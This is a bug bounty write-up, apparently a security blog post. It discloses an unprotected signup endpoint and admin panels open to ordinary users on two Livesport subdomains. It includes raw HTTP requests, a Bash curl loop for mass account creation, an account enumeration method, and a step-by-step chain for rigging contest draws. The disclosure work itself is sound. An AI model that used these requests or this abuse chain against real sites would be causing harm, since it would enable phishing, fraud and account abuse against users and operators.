<p><strong>Affected URLs:</strong> <code>https://bonusy.livesport.cz</code> · <code>https://soutez.livesport.cz</code></p>
<h3 id="description"><strong>Description</strong></h3>
<p>While mapping the attack surface of both applications, I noticed the Bubble-standard <code>/user/signup</code> endpoint was publicly reachable and accepted registrations without any meaningful validation. Three issues stacked on top of each other:</p>
<ol>
<li><strong>No email verification</strong> - accounts were created and immediately active; no confirmation link, no challenge.</li>
<li><strong>Weak password policy</strong> - the endpoint accepted a password as short as a single character.</li>
<li><strong>No rate limiting</strong> - nothing stopped automated, bulk account creation.</li>
</ol>
<h3 id="proof-of-concept"><strong>Proof of Concept</strong></h3>
<p>The discovery was iterative. Hitting the endpoint without parameters returned a descriptive error:</p>
<pre><code>GET /user/signup HTTP/2
Host: bonusy.livesport.cz

HTTP/2 400 Bad Request
{&quot;message&quot;:&quot;NO_EMAIL&quot;,&quot;translation&quot;:&quot;Prosím zadejte email&quot;}
</code></pre>
<p>Adding an email but no password:</p>
<pre><code>GET /user/signup?email=test2@qwerty.com HTTP/2
Host: bonusy.livesport.cz

HTTP/2 400 Bad Request
{&quot;message&quot;:&quot;NO_PASSWORD&quot;,&quot;translation&quot;:&quot;Prosím zadejte heslo&quot;}
</code></pre>
<p>And with both - success, with a single-character password:</p>
<pre><code>GET /user/signup?email=test2@qwerty.com&amp;password=a HTTP/2
Host: bonusy.livesport.cz

HTTP/2 200 OK
&quot;1718007830927x469356327557668000&quot;
</code></pre>
<p>The response returned the new user's internal ID, and the session cookies were immediately set and valid.</p>
<p><strong>Mass Account Creation</strong></p>
<p>To confirm the absence of rate limiting, I wrote a quick Bash script:</p>
<pre><code>#!/bin/bash
for i in {1..10}; do
  email=&quot;testuser$i@qwerty.com&quot;
  password=&quot;a&quot;
  curl -X GET &quot;https://bonusy.livesport.cz/user/signup?email=$email&amp;password=$password&quot;
done
</code></pre>
<p>All ten accounts were created in rapid succession with no throttling or blocking. I intentionally stopped at ten (using a traceable <code>testuser1-10@qwerty.com</code> range) so the accounts could be easily found and deleted in the database.</p>
<p><strong>Account Enumeration</strong></p>
<p>A useful side-effect of the descriptive error messages: re-registering an already-taken email returned a distinct <code>USED_EMAIL</code> error, making it straightforward to enumerate whether any given address was registered on the platform.</p>
<pre><code>HTTP/2 400 Bad Request
{&quot;message&quot;:&quot;USED_EMAIL&quot;,&quot;translation&quot;:&quot;Tento email se již používá: testuser3@qwerty.com&quot;}
</code></pre>
<h3 id="impact"><strong>Impact</strong></h3>
<ul>
<li><strong>Account enumeration</strong> - an attacker can determine which email addresses have registered accounts.</li>
<li><strong>Weak password policy</strong> - trivial brute-force against any account whose email is known.</li>
<li><strong>Mass account creation</strong> - spam, abuse of per-user quotas, and potential resource exhaustion.</li>
</ul>
<p>On its own, a medium-severity finding. In combination with Finding <strong>#2</strong> and <strong>#3</strong> below, the severity multiplies significantly.</p>
<h2 id="2-vertical-privilege-escalation-on-bonusylivesportcz">#2: Vertical Privilege Escalation on bonusy.livesport.cz</h2>
<p><strong>Affected URL:</strong> <code>https://bonusy.livesport.cz</code></p>
<h3 id="description-1"><strong>Description</strong></h3>
<p>After registering a test account on <code>bonusy.livesport.cz</code> via the unprotected signup endpoint, I probed what that account could access. The admin panel at <code>https://bonusy.livesport.cz/admin/</code> turned out to be fully accessible - with complete read/write/delete permissions over all bonus listings on the site.</p>
<p>The user data model confirmed the account had no special role. A call to <code>/api/1.1/init/data</code> showed <code>_type: &quot;user&quot;</code> with no admin flag, group membership, or elevated attribute of any kind. Despite this, the admin interface and all its workflows were freely accessible and fully functional.</p>
<h3 id="proof-of-concept-1"><strong>Proof of Concept</strong></h3>
<p>Using test account <code>bugbounty01@qwerty.com</code> created via <code>/user/signup</code>, authenticating to the admin panel succeeded immediately. Inside the admin panel at <strong>https://bonusy.livesport.cz/admin/</strong>, I had access to:</p>
<ul>
<li>A full list of all current bonus listings with edit and delete controls for each entry</li>
<li>A <strong>Create Bonus</strong> button to add new listings</li>
</ul>
<p>Log into the administration.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/Screenshot-2026-06-15-at-21.04.03-1024x605.png" alt="" /></p>
<p>I was able to see all available bonuses.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/Screenshot-2026-06-15-at-21.04.27-1024x726.png" alt="" /></p>
<p>I can edit any of the existing bonuses as I see fit (Tipsport – Free 500 CZK for your first bets). Alternatively, there is a “trash can” icon, which means I can delete any bonus at the same time.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/Screenshot-2026-06-15-at-21.04.41-1024x726.png" alt="" /></p>
<p>Or it's possible to create a completely new bonus using the &quot;Create Bonus&quot; button.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/Screenshot-2026-06-15-at-21.04.56-1024x727.png" alt="" /></p>
<p>Solely for proof-of-concept purposes, I took the liberty of creating a new bonus titled “Test Bonus – Non-functional” to confirm the above statement that everything can indeed be edited as desired. I set the URL to https://livesport.cz, so that if you happen to visit it “by accident,” you’ll be redirected to your main website at most.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/Screenshot-2026-06-15-at-21.05.16-1024x727.png" alt="" /></p>
<p>Bonus created.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/Screenshot-2026-06-15-at-21.05.29-1024x396.png" alt="" /></p>
<h3 id="impact-1">Impact</h3>
<p>The impact here is more serious than it might initially appear. An attacker with this access could:</p>
<ul>
<li>
<p><strong>Content tampering for phishing:</strong> Modify the CTA URLs of existing bonus listings to redirect users to attacker-controlled phishing pages. The bonusy.livesport.cz page is a trusted Livesport property, so users clicking through a &quot;Tipsport - 500 Kč zdarma&quot; button would have no reason to suspect the destination had been swapped.</p>
</li>
<li>
<p><strong>Fake bonus creation:</strong> Create entirely fictional, highly attractive bonuses to maximize click-through to a malicious URL - exploiting the trust users place in the Livesport brand.</p>
</li>
<li>
<p><strong>Content destruction:</strong> Delete all existing listings, disrupting the page's core function.</p>
</li>
</ul>
<p>The phishing vector in particular represents a meaningful risk to end users, not just to Livesport operationally.</p>
<h2 id="3-vertical-privilege-escalation-on-soutezlivesportcz">#3: Vertical Privilege Escalation on soutez.livesport.cz</h2>
<p><strong>Affected URL:</strong> <code>https://soutez.livesport.cz</code></p>
<h3 id="description-2">Description</h3>
<p>The same misconfiguration was present on the contest subdomain. After registering via <code>/user/signup</code>, the admin interface at <code>https://soutez.livesport.cz/admin/</code> was fully accessible. In this case the stakes were different: the admin panel controlled Euro 2024 contest draws.</p>
<h3 id="proof-of-concept-2">Proof of Concept</h3>
<p>Test account <code>bugbounty02@qwerty.com</code> was registered and used to authenticate against the admin panel via <code>POST /workflow/start</code>. The server returned <code>&quot;outcome&quot;:&quot;success&quot;</code> and the session was established.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/Screenshot-2026-06-16-at-18.42.04-1024x741.png" alt="" /></p>
<p>I was successfully logged in to the admin panel. Inside the <strong>Administrace Soutěže</strong> panel, the active contest at the time was a prediction for the Germany vs. Scotland match (14 June 2024, 21:00), with 30 submitted entries and a <strong>Vylosovat</strong> (Draw Winner) button available and functional. I did not interact with the draw functionality. I stopped at confirming the access, documented it, and reported immediately.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/Screenshot-2026-06-16-at-18.42.32-1024x759.png" alt="" /></p>
<p>As I was sending this report to Livesport, this poll was running.</p>
<p><img loading="lazy" src="https://vectorum.cz/wp-content/uploads/2026/06/Screenshot-2026-06-16-at-18.42.57-1024x759.png" alt="" /></p>
<h3 id="impact-2">Impact</h3>
<p>The full abuse chain using Findings #1 and #3 together:</p>
<ol>
<li>Register multiple accounts via the unprotected <code>/user/signup</code> endpoint - no limit, no verification.</li>
<li>Submit contest predictions from each account, maximizing the share of entries belonging to the attacker.</li>
<li>Log into the admin panel with any of those same accounts.</li>
<li>Trigger the winner draw at the moment that maximizes the chance of one of your own entries being selected - or simply wait and re-trigger if the result isn't favorable (depending on how the draw workflow is implemented).</li>
</ol>
<p><strong>Every future contest on this platform could be manipulated and won on demand.</strong> The combination of mass account creation and admin draw access made this a complete contest integrity failure.</p>
<h1 id="timeline">Timeline</h1>
<ul>
<li>14 Jun 2024: Insecure User Registration Endpoint and Vertical Privilege Escalations reported through <a href="https://bugbounty.livesport.eu/">https://bugbounty.livesport.eu/</a></li>
<li>14 Jun 2024: Vendor acknowledged all reports that same day and the vulnerabilities were assessed as valid.</li>
<li>7 August 2024: Unfortunately, both subdomains were officially out-of-scope, but they liked the issues and rewarded <strong>$200.00</strong> and <strong>10 points</strong>. Both websites were 3rd party websites made via Bubble.io by their contractor.</li>
</ul>
]]></content:encoded>
      <pubDate>Fri, 12 Jun 2026 00:00:00 +0000</pubDate>
      <category>idor</category>
      <category>business-logic</category>
      <category>privilege-escalation</category>
      <category>bug-bounty</category>
      <category>Bug Bounty</category>
    </item>
  </channel>
</rss>
